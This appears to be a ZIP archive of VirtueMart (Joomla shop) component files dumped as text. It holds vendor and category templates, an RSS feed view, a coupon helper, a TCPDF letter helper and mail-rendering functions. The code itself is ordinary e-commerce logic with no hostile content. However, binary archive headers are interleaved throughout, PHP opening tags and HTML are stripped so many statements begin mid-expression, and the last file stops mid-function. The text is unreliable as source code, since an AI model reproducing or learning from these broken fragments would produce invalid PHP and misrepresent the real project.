              PKGy>\+com_virtuemart/views/vendor/tmpl/index.htmlnuW+APKGy>\?۬zz6com_virtuemart/views/vendor/tmpl/mail_raw_question.phpnuW+Avendor->vendor_store_name) . "\n" . "\n"; echo JText::_('COM_VIRTUEMART_QUESTION_ABOUT') . ' '. $this->product->product_name."\n" . "\n"; echo JText::sprintf('COM_VIRTUEMART_QUESTION_MAIL_FROM', $this->user->name, $this->user->email) . "\n"; echo $this->comment. "\n"; PKGy>\B$,com_virtuemart/views/vendor/tmpl/default.xmlnuW+A COM_VIRTUEMART_VENDOR_VIEW_DEFAULT_TITLE PKGy>\'<<,com_virtuemart/views/vendor/tmpl/contact.xmlnuW+A COM_VIRTUEMART_VENDOR_VIEW_CONTACT_TITLE
              PKGy>\t=<<,com_virtuemart/views/vendor/tmpl/contact.phpnuW+A

              vendor->vendor_store_name; if (!empty($this->vendor->images[0])) { ?>
              vendor->images[0]->displayMediaThumb('',false); ?>

              vendor->virtuemart_vendor_id); /* foreach($this->userFields as $userfields){ foreach($userfields['fields'] as $item){ if(!empty($item['value'])){ if($item['name']==='agreed'){ $item['value'] = ($item['value']===0) ? JText::_('COM_VIRTUEMART_USER_FORM_BILLTO_TOS_NO'):JText::_('COM_VIRTUEMART_USER_FORM_BILLTO_TOS_YES'); } ?> escape($item['value']) ?>
              addScriptDeclaration(' jQuery(function($){ $("#askform").validationEngine("attach"); $("#comment").keyup( function () { var result = $(this).val(); $("#counter").val( result.length ); }); }); '); ?>




              linkdetails ?>
              linktos ?>
              PKGy>\k ,com_virtuemart/views/vendor/tmpl/default.phpnuW+A
            '; // Lets output the categories, if there are some if (!empty($this->vendors)) { ?>
            vendors as $vendor ) { // Show the horizontal seperator if ($iColumn == 1 && $ivendor > $vendorPerRow) { echo $horizontalSeparator; } // this is an indicator wether a row needs to be opened or not if ($iColumn == 1) { ?>
            virtuemart_vendor_id, FALSE); $vendorIncludedProductsURL = JRoute::_('index.php?option=com_virtuemart&view=category&virtuemart_vendor_id=' . $vendor->virtuemart_vendor_id, FALSE); //$vendorImage = $vendor->images[0]->displayMediaThumb("",false); // Show Category ?>
            vendor_name; ?>
            '; $iColumn = 1; } else { $iColumn ++; } } // Do we need a final closing row tag? if ($iColumn != 1) { ?>
            PKGy>\Z+com_virtuemart/views/category/view.feed.phpnuW+AgetProductsInCategory ($categoryId); if ($feed_show_images == 1) { $productModel->addImages ($products, 1); } if ($products && $feed_show_prices == 1) { $currency = CurrencyDisplay::getInstance (); } foreach ($products as $product) { $title = $this->escape ($product->product_name); $title = html_entity_decode ($title, ENT_COMPAT, 'UTF-8'); $description = ""; if ($feed_show_images == 1) { $effect = " "; $return = true; $withDescr = false; $absUrl = true; $description = $product->images[0]->displayMediaThumb ('style="margin-right: 10px; margin-bottom: 10px; float: left;"', false, $effect, $return, $withDescr, $absUrl); } if ($feed_show_description == 1) { if ($feed_description_type == 'product_s_desc') { $description .= $product->product_s_desc; } else { if ( $feed_max_text_length > 0) { $description .= shopFunctionsF::limitStringByWord ($product->product_desc, $feed_max_text_length); } else { $description .= $product->product_desc; } } } if ($feed_show_prices == 1 and $show_prices == 1) { $description .= $currency->createPriceDiv ('variantModification', 'COM_VIRTUEMART_PRODUCT_VARIANT_MOD', $product->prices); if (round ($product->prices['basePriceWithTax'], $currency->_priceConfig['salesPrice'][1]) != $product->prices['salesPrice']) { $description .= '' . $currency->createPriceDiv ('basePriceWithTax', 'COM_VIRTUEMART_PRODUCT_BASEPRICE_WITHTAX', $product->prices) . ""; } if (round ($product->prices['salesPriceWithDiscount'], $currency->_priceConfig['salesPrice'][1]) != $product->prices['salesPrice']) { $description .= $currency->createPriceDiv ('salesPriceWithDiscount', 'COM_VIRTUEMART_PRODUCT_SALESPRICE_WITH_DISCOUNT', $product->prices); } $description .= $currency->createPriceDiv ('salesPrice', 'COM_VIRTUEMART_PRODUCT_SALESPRICE', $product->prices); $description .= $currency->createPriceDiv ('priceWithoutTax', 'COM_VIRTUEMART_PRODUCT_SALESPRICE_WITHOUT_TAX', $product->prices); $description .= $currency->createPriceDiv ('discountAmount', 'COM_VIRTUEMART_PRODUCT_DISCOUNT_AMOUNT', $product->prices); $description .= $currency->createPriceDiv ('taxAmount', 'COM_VIRTUEMART_PRODUCT_TAX_AMOUNT', $product->prices); $unitPriceDescription = JText::sprintf ('COM_VIRTUEMART_PRODUCT_UNITPRICE', $product->product_unit); $description .= $currency->createPriceDiv ('unitPrice', $unitPriceDescription, $product->prices); } if ($feed_description_type == 'product_s_desc' OR $feed_max_text_length > 0) { $description .= '

            link) . '">' . JText::_ ('COM_VIRTUEMART_FEED_READMORE') . '

            '; } $item = new JFeedItem(); $item->title = $title; $item->link = $product->link; $item->date = $product->created_on; $item->description = '
            ' . $description . '
            '; $item->category = $categoryId; $doc->addItem ($item); } } }PKGy>\/GO O 1com_virtuemart/views/category/tmpl/categories.phpnuW+Acategory->haschildren) { // Category and Columns Counter $iCol = 1; $iCategory = 1; // Calculating Categories Per Row $categories_per_row = VmConfig::get ( 'categories_per_row', 3 ); $category_cellwidth = ' width'.floor ( 100 / $categories_per_row ); // Separator $verticalseparator = " vertical-separator"; ?>
            category->children ) { foreach ( $this->category->children as $category ) { // Show the horizontal seperator if ($iCol == 1 && $iCategory > $categories_per_row) { ?>
            PKGy>\.com_virtuemart/views/category/tmpl/default.xmlnuW+A COM_VIRTUEMART_CATEGORY_VIEW_DEFAULT_TITLE
            PKGy>\!com_virtuemart/helpers/coupon.phpnuW+Atrigger('plgVmValidateCouponCode', array($_code, $_billTotal)); if(!empty($returnValues)){ foreach ($returnValues as $returnValue) { if ($returnValue !== null ) { //Take a look on this seyi, I am not sure about that, but it should work at least simular note by Max return $returnValue; } } } if(empty($couponData)){ $_db = JFactory::getDBO(); $_q = 'SELECT IF( NOW() >= `coupon_start_date` , 1, 0 ) AS started ' . ', `coupon_start_date` ' . ', IFNULL(0, IF( NOW() > `coupon_expiry_date`, 1, 0 ) ) AS ended' . ', `coupon_value_valid` ' . ', `coupon_used` ' . 'FROM `#__virtuemart_coupons` ' . 'WHERE `coupon_code` = "' . $_db->getEscaped($_code) . '"'; $_db->setQuery($_q); $couponData = $_db->loadObject(); } if (!$couponData) { return JText::_('COM_VIRTUEMART_COUPON_CODE_INVALID'); } if ($couponData->coupon_used) { $session = JFactory::getSession(); $session_id = $session->getId(); if ($couponData->coupon_used != $session_id) { return JText::_('COM_VIRTUEMART_COUPON_CODE_INVALID'); } } if (!$couponData->started) { return JText::_('COM_VIRTUEMART_COUPON_CODE_NOTYET') . $couponData->coupon_start_date; } if ($couponData->ended) { self::RemoveCoupon($_code, true); return JText::_('COM_VIRTUEMART_COUPON_CODE_EXPIRED'); } if ($_billTotal < $couponData->coupon_value_valid) { if (!class_exists('CurrencyDisplay')) require(JPATH_VM_ADMINISTRATOR . DS . 'helpers' . DS . 'currencydisplay.php'); $currency = CurrencyDisplay::getInstance(); $coupon_value_valid = $currency->priceDisplay($couponData->coupon_value_valid); return JText::_('COM_VIRTUEMART_COUPON_CODE_TOOLOW') . " ".$coupon_value_valid; } return ''; } /** * Get the details for a given coupon * @param string $_code Coupon code * @author Oscar van Eijk * @return object Coupon details */ static public function getCouponDetails($_code) { $_db = JFactory::getDBO(); $_q = 'SELECT `percent_or_total` ' . ', `coupon_type` ' . ', `coupon_value` ' . 'FROM `#__virtuemart_coupons` ' . 'WHERE `coupon_code` = "' . $_db->getEscaped($_code) . '"'; $_db->setQuery($_q); return $_db->loadObject(); } /** * Remove a coupon from the database * @param $_code Coupon code * @param $_force True if the remove is forced. By default, only gift coupons are removed * @author Oscar van Eijk * @return boolean True on success */ static public function RemoveCoupon($_code, $_force = false) { JPluginHelper::importPlugin('vmcoupon'); $dispatcher = JDispatcher::getInstance(); $returnValues = $dispatcher->trigger('plgVmRemoveCoupon', array($_code, $_force)); if(!empty($returnValues)){ foreach ($returnValues as $returnValue) { if ($returnValue !== null ) { //Take a look on this seyi, I am not sure about that, but it should work at least simular note by Max //$couponData = $returnValue; return $returnValue; } } } if ($_force !== true) { $_data = self::getCouponDetails($_code); if ($_data->coupon_type != 'gift') { return true; } } $_db = JFactory::getDBO(); $_q = 'DELETE FROM `#__virtuemart_coupons` ' . 'WHERE `coupon_code` = "' . $_db->getEscaped($_code) . '"'; $_db->setQuery($_q); return ($_db->query() !== false); } /** * Remove a coupon from the database * @param $_code Coupon code * @param $_force True if the remove is forced. By default, only gift coupons are removed * @author Valérie Isaksen * @return boolean True on success */ static public function setInUseCoupon($code, $in_use=true){ JPluginHelper::importPlugin('vmcoupon'); $dispatcher = JDispatcher::getInstance(); $returnValues = $dispatcher->trigger('plgVmCouponInUse', array($code)); if(!empty($returnValues)){ foreach ($returnValues as $returnValue) { if ($returnValue !== null ) { return $returnValue; } } } $session = JFactory::getSession(); $coupon_used = $session->getId(); $db = JFactory::getDBO(); if (!$in_use) { $db = JFactory::getDBO(); $q = 'SELECT `coupon_used` ' . 'FROM `#__virtuemart_coupons` ' . 'WHERE `coupon_code` = "' . $db->getEscaped($code) . '"'; $db->setQuery($q); $coupon_session_id=$db->loadResult(); if ($coupon_used !=$coupon_session_id) { return; } $coupon_used=0; } $q = 'UPDATE `#__virtuemart_coupons` SET `coupon_used` = "' . $coupon_used . '" WHERE `coupon_type`= \'gift\' AND `coupon_code` = "' . $db->getEscaped($code) . '"'; $db->setQuery($q); return ($db->query() !== false); } } PKGy>\[77 com_virtuemart/helpers/vmpdf.phpnuW+ASetTitle($meta['title']); if (isset($meta['subject'])) $pdf->SetSubject($meta['subject']); if (isset($meta['keywords'])) $pdf->SetKeywords($meta['keywords']); // Make the formatter available, just in case some specialized view wants/needs it $view->pdf_formatter = $pdf; ob_start(); $view->display(); $html = ob_get_contents(); ob_end_clean(); $pdf->AddPage(); $pdf->PrintContents($html); // Close and output PDF document // This method has several options, check the source code documentation for more information. $pdf->Output($path, $dest); return $path; } } if(!file_exists(JPATH_VM_LIBRARIES.DS.'tcpdf'.DS.'tcpdf.php')){ vmError('VmPDF helper: For the PDF invoice and other PDF business letters, you must install the tcpdf library at '.JPATH_VM_LIBRARIES.DS.'tcpdf'); } else { if(!class_exists('TCPDF'))require(JPATH_VM_LIBRARIES.DS.'tcpdf'.DS.'tcpdf.php'); // Extend the TCPDF class to create custom Header and Footer as configured in the Backend class VmVendorPDF extends TCPDF { var $vendor = 0; var $vendorImage = ''; var $vendorAddress = ''; var $css = ''; var $virtuemart_vendor_id = 1; public function __construct() { // Load the vendor, so we have the data for the header/footer... // The images are NOT loaded by default, so do it manually, just in case $vendorModel = VmModel::getModel('vendor'); $this->vendor = $vendorModel->getVendor($this->virtuemart_vendor_id); $vendorModel->addImages($this->vendor,1); $this->vendor->vendorFields = $vendorModel->getVendorAddressFields(); parent::__construct($this->vendor->vendor_letter_orientation, 'mm', $this->vendor->vendor_letter_format); $this->css = $this->vendor->vendor_letter_css; // set document information $this->SetCreator(JText::_('COM_VIRTUEMART_PDF_CREATOR')); if(empty($this->vendor->images[0])){ vmError('Vendor image given path empty '); } else if(empty($this->vendor->images[0]->file_url_folder) or empty($this->vendor->images[0]->file_name) or empty($this->vendor->images[0]->file_extension) ){ vmError('Vendor image given image is not complete '.$this->vendor->images[0]->file_url_folder.$this->vendor->images[0]->file_name.'.'.$this->vendor->images[0]->file_extension); vmdebug('Vendor image given image is not complete, the given media',$this->vendor->images[0]); } else if(!empty($this->vendor->images[0]->file_extension) and strtolower($this->vendor->images[0]->file_extension)=='png'){ vmError('Warning extension of the image is a png, tpcdf has problems with that in the header, choose a jpg or gif'); } else { $imagePath = str_replace('/',DS, $this->vendor->images[0]->file_url_folder.$this->vendor->images[0]->file_name.'.'.$this->vendor->images[0]->file_extension); if(!file_exists(JPATH_ROOT . DS . $imagePath)){ vmError('Vendor image missing '.$imagePath); } else { $this->vendorImage=$imagePath; } } if (!class_exists ('JFile')) { require(JPATH_VM_LIBRARIES . DS . 'joomla' . DS . 'filesystem' . DS . 'file.php'); } $tcpdf6 = JFile::exists(JPATH_VM_LIBRARIES.DS.'tcpdf'.DS.'include'.DS.'tcpdf_color.php'); if($tcpdf6){ $getAllSpotColors = TCPDF::getAllSpotColors(); $vlfooterlcolor = TCPDF_COLORS::convertHTMLColorToDec($this->vendor->vendor_letter_footer_line_color,$getAllSpotColors); } else { $vlfooterlcolor = $this->convertHTMLColorToDec($this->vendor->vendor_letter_footer_line_color); } $this->setHeaderData(($this->vendor->vendor_letter_header_image?$this->vendorImage:''), ($this->vendor->vendor_letter_header_image?$this->vendor->vendor_letter_header_imagesize:0), '', $this->vendor->vendor_letter_header_html, array(0,0,0),$vlfooterlcolor ); $this->vendorAddress = shopFunctions::renderVendorAddress($this->vendor->virtuemart_vendor_id, "
            "); // Trim the final
            from the address, which is inserted by renderVendorAddress automatically! if (substr($this->vendorAddress, -5, 5) == '
            ') { $this->vendorAddress = substr($this->vendorAddress, 0, -5); } $vmFont=$this->vendor->vendor_letter_font; $this->SetFont($vmFont, '', $this->vendor->vendor_letter_font_size, '', 'false'); $this->setHeaderFont(Array($vmFont, '', $this->vendor->vendor_letter_header_font_size )); $this->setFooterFont(Array($vmFont, '', $this->vendor->vendor_letter_footer_font_size )); // Remove all vertical margins and padding from the HTML cells (default is excessive padding): $this->SetCellPadding(0); $tagvs = array('p' => array(0 => array('h' => 0, 'n' => 0), 1 => array('h' => 0, 'n' => 0)), 'div' => array(0 => array('h' => 0, 'n' => 0), 1 => array('h' => 0, 'n' => 0)), 'h1' => array(0 => array('h' => 0, 'n' => 0), 1 => array('h' => 0, 'n' => 0)), 'h2' => array(0 => array('h' => 0, 'n' => 0), 1 => array('h' => 0, 'n' => 0)), 'h3' => array(0 => array('h' => 0, 'n' => 0), 1 => array('h' => 0, 'n' => 0)), 'table' => array(0 => array('h' => 0, 'n' => 0), 1 => array('h' => 0, 'n' => 0)), ); $this->setHtmlVSpace($tagvs); // set default font subsetting mode $this->setFontSubsetting(true); // set default monospaced font // $this->SetDefaultMonospacedFont(PDF_FONT_MONOSPACED); //set margins $this->SetMargins($this->vendor->vendor_letter_margin_left, $this->vendor->vendor_letter_margin_top, $this->vendor->vendor_letter_margin_right); $this->SetHeaderMargin($this->vendor->vendor_letter_margin_header); $this->SetFooterMargin($this->vendor->vendor_letter_margin_footer); $this->SetAutoPageBreak(TRUE, $this->vendor->vendor_letter_margin_bottom); //set image scale factor $this->setImageScale(PDF_IMAGE_SCALE_RATIO); //TODO include the right file (in libraries/tcpdf/config/lang set some language-dependent strings $l=''; $this->setLanguageArray($l); } /** Replace variables like {vm:page}, {vm:pagecount} etc. in the given string */ function replace_variables($txt) { // TODO: Implement more Placeholders (ordernr, invoicenr, etc.) // Use PageNo rather than getAliasNumPage, since the alias will be misaligned (spaced like the {:npn:} text rather than the final number) $txt = str_replace('{vm:pagenum}', $this->/*getAliasNumPage*/PageNo(), $txt); // Can't use getNumPages, because when this is evaluated, we don't know the final number of pages (getNumPages is always equal to the current page numbe) $txt = str_replace('{vm:pagecount}', $this->getAliasNbPages/*getNumPages*/(), $txt); $txt = str_replace('{vm:vendorname}', $this->vendor->vendor_store_name, $txt); $imgrepl=''; if (!empty($this->vendor->images)) { $img = $this->vendor->images[0]; $imgrepl = "
            ".$img->displayIt($img->file_url,'','',false, '', false, false)."
            "; } $txt = str_replace('{vm:vendorimage}', $imgrepl, $txt); $txt = str_replace('{vm:vendoraddress}', $this->vendorAddress, $txt); $txt = str_replace('{vm:vendorlegalinfo}', $this->vendor->vendor_legal_info, $txt); $txt = str_replace('{vm:vendordescription}', $this->vendor->vendor_store_desc, $txt); $txt = str_replace('{vm:tos}', $this->vendor->vendor_terms_of_service, $txt); return "$txt"; } public function PrintContents($html) { $contents = $this->replace_variables ($html); $this->writeHTMLCell($w=0, $h=0, $x='', $y='', $contents, $border=0, $ln=1, $fill=0, $reseth=true, $align='', $autopadding=true); } public function Footer() { if ($this->vendor->vendor_letter_footer == 1) { $footertxt = ''; $footertxt .= ''; $currentCHRF = $this->getCellHeightRatio(); $this->setCellHeightRatio($this->vendor->vendor_letter_footer_cell_height_ratio); if (!class_exists ('JFile')) { require(JPATH_VM_LIBRARIES . DS . 'joomla' . DS . 'filesystem' . DS . 'file.php'); } $tcpdf6 = JFile::exists(JPATH_VM_LIBRARIES.DS.'tcpdf'.DS.'include'.DS.'tcpdf_color.php'); if($tcpdf6){ $getAllSpotColors = TCPDF::getAllSpotColors(); $vlfooterlcolor = TCPDF_COLORS::convertHTMLColorToDec($this->vendor->vendor_letter_footer_line_color,$getAllSpotColors); } else { $vlfooterlcolor = $this->convertHTMLColorToDec($this->vendor->vendor_letter_footer_line_color); } //set style for cell border $border = 0; if ($this->vendor->vendor_letter_footer_line == 1) { $line_width = 0.85 / $this->getScaleFactor(); $this->SetLineStyle(array('width' => $line_width, 'cap' => 'butt', 'join' => 'miter', 'dash' => 0, 'color' => $vlfooterlcolor)); $border = 'T'; } // TODO: Implement cell_height // $cell_height = round(($this->getCellHeightRatio() * $footerfont[2]) / $this->getScaleFactor(), 2); $cell_height=1; $this->writeHTMLCell(0, $cell_height, '', '', $footertxt, $border, 1, 0, true, '', true); // Set it back $this->setCellHeightRatio($currentCHRF); } } public function Header() { if ($this->vendor->vendor_letter_header != 1) return; if ($this->header_xobjid < 0) { // start a new XObject Template $this->header_xobjid = $this->startTemplate($this->w, $this->tMargin); $headerfont = $this->getHeaderFont(); $headerdata = $this->getHeaderData(); $this->y = $this->header_margin; $headertxt = ''; $headertxt .= '
            ' . $this->replace_variables($headerdata['string']) . '
            '; $currentCHRF = $this->getCellHeightRatio(); $this->setCellHeightRatio($this->vendor->vendor_letter_header_cell_height_ratio); if ($this->rtl) { $this->x = $this->w - $this->original_rMargin; } else { $this->x = $this->original_lMargin; } $header_x = (($this->getRTL())?($this->original_rMargin):($this->original_lMargin)); $cw = $this->w - $this->original_lMargin - $this->original_rMargin; if (($headerdata['logo']) AND ($headerdata['logo'] != K_BLANK_IMAGE)) { $imgtype = $this->getImageFileType(K_PATH_IMAGES.DS.$headerdata['logo']); if (($imgtype == 'eps') OR ($imgtype == 'ai')) { $this->ImageEps(K_PATH_IMAGES.DS.$headerdata['logo'], '', '', $headerdata['logo_width']); } elseif ($imgtype == 'svg') { $this->ImageSVG(K_PATH_IMAGES.DS.$headerdata['logo'], '', '', $headerdata['logo_width']); } else { $this->Image(K_PATH_IMAGES.DS.$headerdata['logo'], '', '', $headerdata['logo_width']); } $imgy = $this->getImageRBY(); $header_x += ($headerdata['logo_width'] * 1.1); $cw -= ($headerdata['logo_width'] * 1.1); } else { $imgy = $this->y; } // $cell_height = round(($this->cell_height_ratio * $headerfont[2]) / $this->k, 2); // set starting margin for text data cell $this->SetTextColorArray($this->header_text_color); // header string $this->SetFont($headerfont[0], $headerfont[1], $headerfont[2]); $this->SetX($header_x); $this->writeHTMLCell($cw, /*$cell_height*/0, $this->x, $this->header_margin, $headertxt, '', /*$ln=*/2, false, /*$reseth*/true, '', /*$autopadding=*/true); // print an ending header line if ($this->vendor->vendor_letter_header_line == 1) { $this->SetLineStyle(array('width' => 0.85 / $this->k, 'cap' => 'butt', 'join' => 'miter', 'dash' => 0, 'color' => $headerdata['line_color'])); $this->SetY(max($imgy,$this->y)); if ($this->rtl) { $this->SetX($this->original_rMargin); } else { $this->SetX($this->original_lMargin); } $this->Cell(($this->w - $this->original_lMargin - $this->original_rMargin), 0, '', 'T', 0, 'C'); } $this->setCellHeightRatio($currentCHRF); $this->endTemplate(); } // print header template $x = 0; $dx = 0; if (!$this->header_xobj_autoreset AND $this->booklet AND (($this->page % 2) == 0)) { // adjust margins for booklet mode $dx = ($this->original_lMargin - $this->original_rMargin); } if ($this->rtl) { $x = $this->w + $dx; } else { $x = 0 + $dx; } $this->printTemplate($this->header_xobjid, $x, 0, 0, 0, '', '', false); if ($this->header_xobj_autoreset) { // reset header xobject template at each page $this->header_xobjid = -1; } } } } PKGy>\xaxa)com_virtuemart/helpers/shopfunctionsf.phpnuW+AsetLayout( 'login' ); $body = ''; $show = TRUE; if($cart) { $show = VmConfig::get( 'oncheckout_show_register', 1 ); } if($show == 1) { $view->assignRef( 'show', $show ); $view->assignRef( 'order', $order ); $view->assignRef( 'from_cart', $cart ); $view->assignRef( 'url', $url ); ob_start(); $view->display(); $body = ob_get_contents(); ob_end_clean(); } return $body; } /** * @author Max Milbers */ static public function getLastVisitedCategoryId ($default = 0) { $session = JFactory::getSession(); return $session->get( 'vmlastvisitedcategoryid', $default, 'vm' ); } /** * @author Max Milbers */ static public function setLastVisitedCategoryId ($categoryId) { $session = JFactory::getSession(); return $session->set( 'vmlastvisitedcategoryid', (int)$categoryId, 'vm' ); } /** * @author Max Milbers */ static public function getLastVisitedManuId () { $session = JFactory::getSession(); return $session->get( 'vmlastvisitedmanuid', 0, 'vm' ); } /** * @author Max Milbers */ static public function setLastVisitedManuId ($manuId) { $session = JFactory::getSession(); return $session->set( 'vmlastvisitedmanuid', (int)$manuId, 'vm' ); } static public function getAddToCartButton ($orderable) { if($orderable) { $html = ''; } else { $html = ''; } return $html; } /** * * @author Max Milbers */ static public function addProductToRecent ($productId) { $session = JFactory::getSession(); $products_ids = $session->get( 'vmlastvisitedproductids', array(), 'vm' ); $key = array_search( $productId, $products_ids ); if($key !== FALSE) { unset($products_ids[$key]); } array_unshift( $products_ids, $productId ); $products_ids = array_unique( $products_ids ); $recent_products_rows = VmConfig::get('recent_products_rows', 1); $products_per_row = VmConfig::get('homepage_products_per_row',3); $maxSize = $products_per_row * $recent_products_rows; if(count( $products_ids )>$maxSize) { array_splice( $products_ids, $maxSize ); } return $session->set( 'vmlastvisitedproductids', $products_ids, 'vm' ); } /** * Gives ids the recently by the shopper visited products * * @author Max Milbers */ public function getRecentProductIds () { $session = JFactory::getSession(); return $session->get( 'vmlastvisitedproductids', array(), 'vm' ); } /** * function to create a hyperlink * * @author RolandD * @param string $link * @param string $text * @param string $target * @param string $title * @param array $attributes * @return string */ public function hyperLink ($link, $text, $target = '', $title = '', $attributes = '') { $options = array(); if($target) { $options['target'] = $target; } if($title) { $options['title'] = $title; } if($attributes) { $options = array_merge( $options, $attributes ); } return JHTML::_( 'link', $link, $text, $options ); } /** * A function to create a XHTML compliant and JS-disabled-safe pop-up link * * @author RolandD * @param string $link The HREF attribute * @param string $text The link text * @param int $popupWidth * @param int $popupHeight * @param string $target The value of the target attribute * @param string $title * @param string $windowAttributes * @return string */ public function vmPopupLink ($link, $text, $popupWidth = 640, $popupHeight = 480, $target = '_blank', $title = '', $windowAttributes = '') { if($windowAttributes) { $windowAttributes = ','.$windowAttributes; } return self::hyperLink( $link, $text, '', $title, array("onclick" => "void window.open('$link', '$target', 'status=no,toolbar=no,scrollbars=yes,titlebar=no,menubar=no,resizable=yes,width=$popupWidth,height=$popupHeight,directories=no,location=no".$windowAttributes."');return false;") ); } /** * Prepares a view for rendering email, then renders and sends * * @param object $controller * @param string $viewName View which will render the email * @param string $recipient shopper@whatever.com * @param array $vars variables to assign to the view */ //TODO this is quirk, why it is using here $noVendorMail, but everywhere else it is using $doVendor => this make logic trouble static public function renderMail ($viewName, $recipient, $vars = array(), $controllerName = NULL, $noVendorMail = FALSE,$useDefault=true) { if(!class_exists( 'VirtueMartControllerVirtuemart' )) require(JPATH_VM_SITE.DS.'controllers'.DS.'virtuemart.php'); // $format = (VmConfig::get('order_html_email',1)) ? 'html' : 'raw'; $controller = new VirtueMartControllerVirtuemart(); //Todo, do we need that? refering to http://forum.virtuemart.net/index.php?topic=96318.msg317277#msg317277 $controller->addViewPath( JPATH_VM_SITE.DS.'views' ); $view = $controller->getView( $viewName, 'html' ); if(!$controllerName) $controllerName = $viewName; $controllerClassName = 'VirtueMartController'.ucfirst( $controllerName ); if(!class_exists( $controllerClassName )) require(JPATH_VM_SITE.DS.'controllers'.DS.$controllerName.'.php'); //Todo, do we need that? refering to http://forum.virtuemart.net/index.php?topic=96318.msg317277#msg317277 $view->addTemplatePath( JPATH_VM_SITE.'/views/'.$viewName.'/tmpl' ); $template = self::loadVmTemplateStyle(); if($template) { $view->addTemplatePath( JPATH_ROOT.DS.'templates'.DS.$template.DS.'html'.DS.'com_virtuemart'.DS.$viewName ); } foreach( $vars as $key => $val ) { $view->$key = $val; } $user = FALSE; if(isset($vars['orderDetails'])){ //If the JRequest is there, the update is done by the order list view BE and so the checkbox does override the defaults. //$name = 'orders['.$order['details']['BT']->virtuemart_order_id.'][customer_notified]'; //$customer_notified = JRequest::getVar($name,-1); if(!$useDefault and isset($vars['newOrderData']['customer_notified']) and $vars['newOrderData']['customer_notified']==1 ){ $user = self::sendVmMail( $view, $recipient, $noVendorMail ); vmdebug('renderMail by overwrite'); } else { $orderstatusForShopperEmail = VmConfig::get('email_os_s',array('U','C','S','R','X')); if(!is_array($orderstatusForShopperEmail)) $orderstatusForShopperEmail = array($orderstatusForShopperEmail); if ( in_array((string) $vars['orderDetails']['details']['BT']->order_status,$orderstatusForShopperEmail) ){ $user = self::sendVmMail( $view, $recipient, $noVendorMail ); vmdebug('renderMail by default'); } else{ $user = -1; } } } else { $user = self::sendVmMail( $view, $recipient, $noVendorMail ); } if(isset($view->doVendor) && !$noVendorMail) { if(isset($vars['orderDetails'])){ $order = $vars['orderDetails']; $orderstatusForVendorEmail = VmConfig::get('email_os_v',array('U','C','R','X')); if(!is_array($orderstatusForVendorEmail)) $orderstatusForVendorEmail = array($orderstatusForVendorEmail); if ( in_array((string)$order['details']['BT']->order_status,$orderstatusForVendorEmail)){ self::sendVmMail( $view, $view->vendorEmail, TRUE ); }else{ $user = -1; } } else { self::sendVmMail( $view, $view->vendorEmail, TRUE ); } } return $user; } public static function loadVmTemplateStyle(){ $vmtemplate = VmConfig::get( 'vmtemplate', 0 ); if(!empty($vmtemplate) and is_numeric($vmtemplate)) { $db = JFactory::getDbo(); $query = 'SELECT `template`,`params` FROM `#__template_styles` WHERE `id`="'.$vmtemplate.'" '; $db->setQuery($query); $res = $db->loadAssoc(); if($res){ $registry = new JRegistry; $registry->loadString($res['params']); $template = $res['template']; } else { $err = 'The selected vmtemplate is not existing'; vmError( 'renderMail get Template failed: '.$err ); } } else { if(JVM_VERSION == 2) { $q = 'SELECT `template` FROM `#__template_styles` WHERE `client_id`="0" AND `home`="1"'; } else { $q = 'SELECT `template` FROM `#__templates_menu` WHERE `client_id`="0" AND `menuid`="0"'; } $db = JFactory::getDbo(); $db->setQuery( $q ); $template = $db->loadResult(); if(!$template){ $err = 'Could not load default template style'; vmError( 'renderMail get Template failed: '.$err ); } } return $template; } /** * With this function you can use a view to sent it by email. * Just use a task in a controller * * @param string $view for example user, cart * @param string $recipient shopper@whatever.com * @param bool $vendor true for notifying vendor of user action (e.g. registration) */ private static function sendVmMail (&$view, $recipient, $noVendorMail = FALSE) { VmConfig::ensureMemoryLimit(96); VmConfig::loadJLang('com_virtuemart',true); if(!empty($view->orderDetails['details']['BT']->order_language)) { //$jlang->load( 'com_virtuemart', JPATH_SITE, $view->orderDetails['details']['BT']->order_language, true ); //$jlang->load( 'com_virtuemart_shoppers', JPATH_SITE, $view->orderDetails['details']['BT']->order_language, true ); //$jlang->load( 'com_virtuemart_orders', JPATH_SITE, $view->orderDetails['details']['BT']->order_language, true ); VmConfig::loadJLang('com_virtuemart',true,$view->orderDetails['details']['BT']->order_language); VmConfig::loadJLang('com_virtuemart_shoppers',TRUE,$view->orderDetails['details']['BT']->order_language); VmConfig::loadJLang('com_virtuemart_orders',TRUE,$view->orderDetails['details']['BT']->order_language); } else { VmConfig::loadJLang('com_virtuemart_shoppers',TRUE); VmConfig::loadJLang('com_virtuemart_orders',TRUE); } ob_start(); $view->renderMailLayout( $noVendorMail, $recipient ); $body = ob_get_contents(); ob_end_clean(); $subject = (isset($view->subject)) ? $view->subject : JText::_( 'COM_VIRTUEMART_DEFAULT_MESSAGE_SUBJECT' ); $mailer = JFactory::getMailer(); $mailer->addRecipient( $recipient ); $mailer->setSubject( html_entity_decode( $subject) ); $mailer->isHTML( VmConfig::get( 'order_mail_html', TRUE ) ); $mailer->setBody( $body ); if(!$noVendorMail) { $replyTo[0] = $view->vendorEmail; $replyTo[1] = $view->vendor->vendor_name; $mailer->addReplyTo( $replyTo ); } else { $replyTo[0] = $view->orderDetails['details']['BT']->email; $replyTo[1] = $view->orderDetails['details']['BT']->first_name.' '.$view->orderDetails['details']['BT']->last_name; $mailer->addReplyTo( $replyTo ); } /* if (isset($view->replyTo)) { $mailer->addReplyTo($view->replyTo); }*/ if(isset($view->mediaToSend)) { foreach( (array)$view->mediaToSend as $media ) { $mailer->addAttachment( $media ); } } // set proper sender $sender = array(); if(!empty($view->vendorEmail) and VmConfig::get( 'useVendorEmail', 0 )) { $sender[0] = $view->vendorEmail; $sender[1] = $view->vendor->vendor_name; } else { // use default joomla's mail sender $app = JFactory::getApplication(); $sender[0] = $app->getCfg( 'mailfrom' ); $sender[1] = $app->getCfg( 'fromname' ); if(empty($sender[0])){ $config = JFactory::getConfig(); $sender = array( $config->getValue( 'config.mailfrom' ), $config->getValue( 'config.fromname' ) ); } } $mailer->setSender( $sender ); return $mailer->Send(); } /** * This function sets the right template on the view * @author Max Milbers */ static function setVmTemplate ($view, $catTpl = 0, $prodTpl = 0, $catLayout = 0, $prodLayout = 0) { //Lets get here the template set in the shopconfig, if there is nothing set, get the joomla standard $template = VmConfig::get( 'vmtemplate', 0 ); $db = JFactory::getDBO(); //Set specific category template if(!empty($catTpl) && empty($prodTpl)) { if(is_Int( $catTpl )) { $q = 'SELECT `category_template` FROM `#__virtuemart_categories` WHERE `virtuemart_category_id` = "'.(int)$catTpl.'" '; $db->setQuery( $q ); $temp = $db->loadResult(); 